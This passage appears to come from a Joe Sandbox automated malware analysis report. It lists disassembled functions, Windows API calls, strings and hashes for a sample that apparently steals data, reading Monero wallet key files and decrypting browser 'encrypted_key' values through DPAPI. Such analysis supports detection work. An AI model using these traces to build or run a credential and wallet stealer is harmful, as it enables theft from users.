                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
                                      • String ID:
                                      • API String ID: 211194620-0
                                      • Opcode ID: fa3b0696718c65ffb74442bfb77e0965c23ab9fa308d0b687ca26f1db180b745
                                      • Instruction ID: 3a5ea8548cf90f45ab931a9ebd685b3360eb36aa140804add43483b30bf9655d
                                      • Opcode Fuzzy Hash: fa3b0696718c65ffb74442bfb77e0965c23ab9fa308d0b687ca26f1db180b745
                                      • Instruction Fuzzy Hash: EA81D9729502089BCB48FBE4DCA6DEF733AAF54340F40456DF116660E1EF746A48CB6A
                                      Function 0066FED7 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AdjustPointer
                                      • String ID:
                                      • API String ID: 1740715915-0
                                      • Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
                                      • Instruction ID: 69fbd2ed94efc9fdaaadcc4b6c5a7b0060e9d4f79701b16f68b348f45a1df3d5
                                      • Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
                                      • Instruction Fuzzy Hash: 3851E372605206EFFB298F14E881BBA77A6FF41310F24813DE90997691E731ED40DBA0
                                      Function 005FA560 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LocalAlloc.KERNEL32(00000040,?), ref: 005FA664
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AllocLocallstrcpy
                                      • String ID: @$v10$v20
                                      • API String ID: 2746078483-278772428
                                      • Opcode ID: f188a010e91a6d96bf6e486c345e23669733f507c0d04b06ce865a9f6516b798
                                      • Instruction ID: f3ac8c2410a8e7063519949a1392f079870588b80390ee0836979e4c75d05f44
                                      • Opcode Fuzzy Hash: f188a010e91a6d96bf6e486c345e23669733f507c0d04b06ce865a9f6516b798
                                      • Instruction Fuzzy Hash: 98513C70A5020CEFDB18EFA4CD96FEE7776BF44384F408018EA0A5B291DB746A45CB56
                                      Function 005FF5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 005FA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005FA13C
                                        • Part of subcall function 005FA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005FA161
                                        • Part of subcall function 005FA110: LocalAlloc.KERNEL32(00000040,?), ref: 005FA181
                                        • Part of subcall function 005FA110: ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005FA1AA
                                        • Part of subcall function 005FA110: LocalFree.KERNEL32(005F148F), ref: 005FA1E0
                                        • Part of subcall function 005FA110: CloseHandle.KERNEL32(000000FF), ref: 005FA1EA
                                        • Part of subcall function 00608FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00608FE2
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                      • StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00611678,00610D93), ref: 005FF64C
                                      • lstrlen.KERNEL32(00000000), ref: 005FF66B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
                                      • String ID: ^userContextId=4294967295$moz-extension+++
                                      • API String ID: 998311485-3310892237
                                      • Opcode ID: 42e8e1a0b55d4f630b38e549c99e125a9676850b3e79fcb7bea8d0c1c2044c72
                                      • Instruction ID: 7f72615a62d7ef8028bf4a9cb9933b0ecb84ca1756abe4a6ac681bbbe276cb66
                                      • Opcode Fuzzy Hash: 42e8e1a0b55d4f630b38e549c99e125a9676850b3e79fcb7bea8d0c1c2044c72
                                      • Instruction Fuzzy Hash: 4D511B729502089ACB48FBE0DDA6DFF733AAF54340F40856CE516671D1EF346A48CB66
                                      Function 006037B0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$lstrlen
                                      • String ID:
                                      • API String ID: 367037083-0
                                      • Opcode ID: 85104bfcc91ab60a338437ba2c59b588689b93c35b2e5d1a3970de3d0579bd5f
                                      • Instruction ID: da6c73024d37001f5d52877e3c5a1f27f68d2087eade69ce93a49ee10211ace3
                                      • Opcode Fuzzy Hash: 85104bfcc91ab60a338437ba2c59b588689b93c35b2e5d1a3970de3d0579bd5f
                                      • Instruction Fuzzy Hash: 96412971E502099BDB08EFE4D956AEFB77AAF44304F048018F416762D0EBB0AA45CFA5
                                      Function 005FA430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 005FA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005FA13C
                                        • Part of subcall function 005FA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005FA161
                                        • Part of subcall function 005FA110: LocalAlloc.KERNEL32(00000040,?), ref: 005FA181
                                        • Part of subcall function 005FA110: ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005FA1AA
                                        • Part of subcall function 005FA110: LocalFree.KERNEL32(005F148F), ref: 005FA1E0
                                        • Part of subcall function 005FA110: CloseHandle.KERNEL32(000000FF), ref: 005FA1EA
                                        • Part of subcall function 00608FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00608FE2
                                      • StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005FA489
                                        • Part of subcall function 005FA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O_,00000000,00000000), ref: 005FA23F
                                        • Part of subcall function 005FA210: LocalAlloc.KERNEL32(00000040,?,?,?,005F4F3E,00000000,?), ref: 005FA251
                                        • Part of subcall function 005FA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O_,00000000,00000000), ref: 005FA27A
                                        • Part of subcall function 005FA210: LocalFree.KERNEL32(?,?,?,?,005F4F3E,00000000,?), ref: 005FA28F
                                        • Part of subcall function 005FA2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005FA2D4
                                        • Part of subcall function 005FA2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 005FA2F3
                                        • Part of subcall function 005FA2B0: LocalFree.KERNEL32(?), ref: 005FA323
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
                                      • String ID: $"encrypted_key":"$DPAPI
                                      • API String ID: 2100535398-738592651
                                      • Opcode ID: 00bc1ea292c27a49012dec3c6ec29b766f0fe35910cf0fe69622633d3ab93c55
                                      • Instruction ID: fc9e0a43353d1ca4531c12dd5330db62f6f2b25c8bfeab7890c0ed232518d9d5
                                      • Opcode Fuzzy Hash: 00bc1ea292c27a49012dec3c6ec29b766f0fe35910cf0fe69622633d3ab93c55
                                      • Instruction Fuzzy Hash: 253143B6D4020D9BCF04DBE4ED45AFFB7B9BF98300F444518EA05A7281E7359A44CB62
                                      Function 00608810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006105BF), ref: 0060885A
                                      • Process32First.KERNEL32(?,00000128), ref: 0060886E
                                      • Process32Next.KERNEL32(?,00000128), ref: 00608883
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • CloseHandle.KERNEL32(?), ref: 006088F1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
                                      • String ID:
                                      • API String ID: 1066202413-0
                                      • Opcode ID: 6f815cf95b98a8dfb7b25b42d510fd9a924a4a5bd61a44e9a4fc66b4cdf91be2
                                      • Instruction ID: f4ade4cd5ffafad43aa1423b0e05537917afabbab05dea076894dc4bf27b7bfb
                                      • Opcode Fuzzy Hash: 6f815cf95b98a8dfb7b25b42d510fd9a924a4a5bd61a44e9a4fc66b4cdf91be2
                                      • Instruction Fuzzy Hash: 61315C71941218ABCB68EB94CC51FEFB37AFB04740F504199F10AA21E0DB306A44CFA5
                                      Function 0066FDF7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0066FE13
                                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0066FE2C
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Value___vcrt_
                                      • String ID:
                                      • API String ID: 1426506684-0
                                      • Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
                                      • Instruction ID: a47479f7f81e2a71ec6942b3c9bbd7f9e99ea7ef287eafcc4bc843fd6cd5dbaf
                                      • Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
                                      • Instruction Fuzzy Hash: 3001B136109721FEF67427B86CC99A62A97EB027B5730833EF11A842F2EF524C419144
                                      Function 0060CA72 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • __getptd.LIBCMT ref: 0060CA7E
                                        • Part of subcall function 0060C2A0: __amsg_exit.LIBCMT ref: 0060C2B0
                                      • __getptd.LIBCMT ref: 0060CA95
                                      • __amsg_exit.LIBCMT ref: 0060CAA3
                                      • __updatetlocinfoEx_nolock.LIBCMT ref: 0060CAC7
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
                                      • String ID:
                                      • API String ID: 300741435-0
                                      • Opcode ID: f88317b2ce6a0d8409a9696a514599a79c57a3e6ed7c70abc82cf9bb636f1c65
                                      • Instruction ID: f46bad3ad15237270d58f3354cc7e718a408548f29b8339c41aa34f92dcc9b72
                                      • Opcode Fuzzy Hash: f88317b2ce6a0d8409a9696a514599a79c57a3e6ed7c70abc82cf9bb636f1c65
                                      • Instruction Fuzzy Hash: 43F09631AC42189BD7ADFBA8580379F33A3AF40730F15924EF405962D3DB2459408799
                                      Function 006704D3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
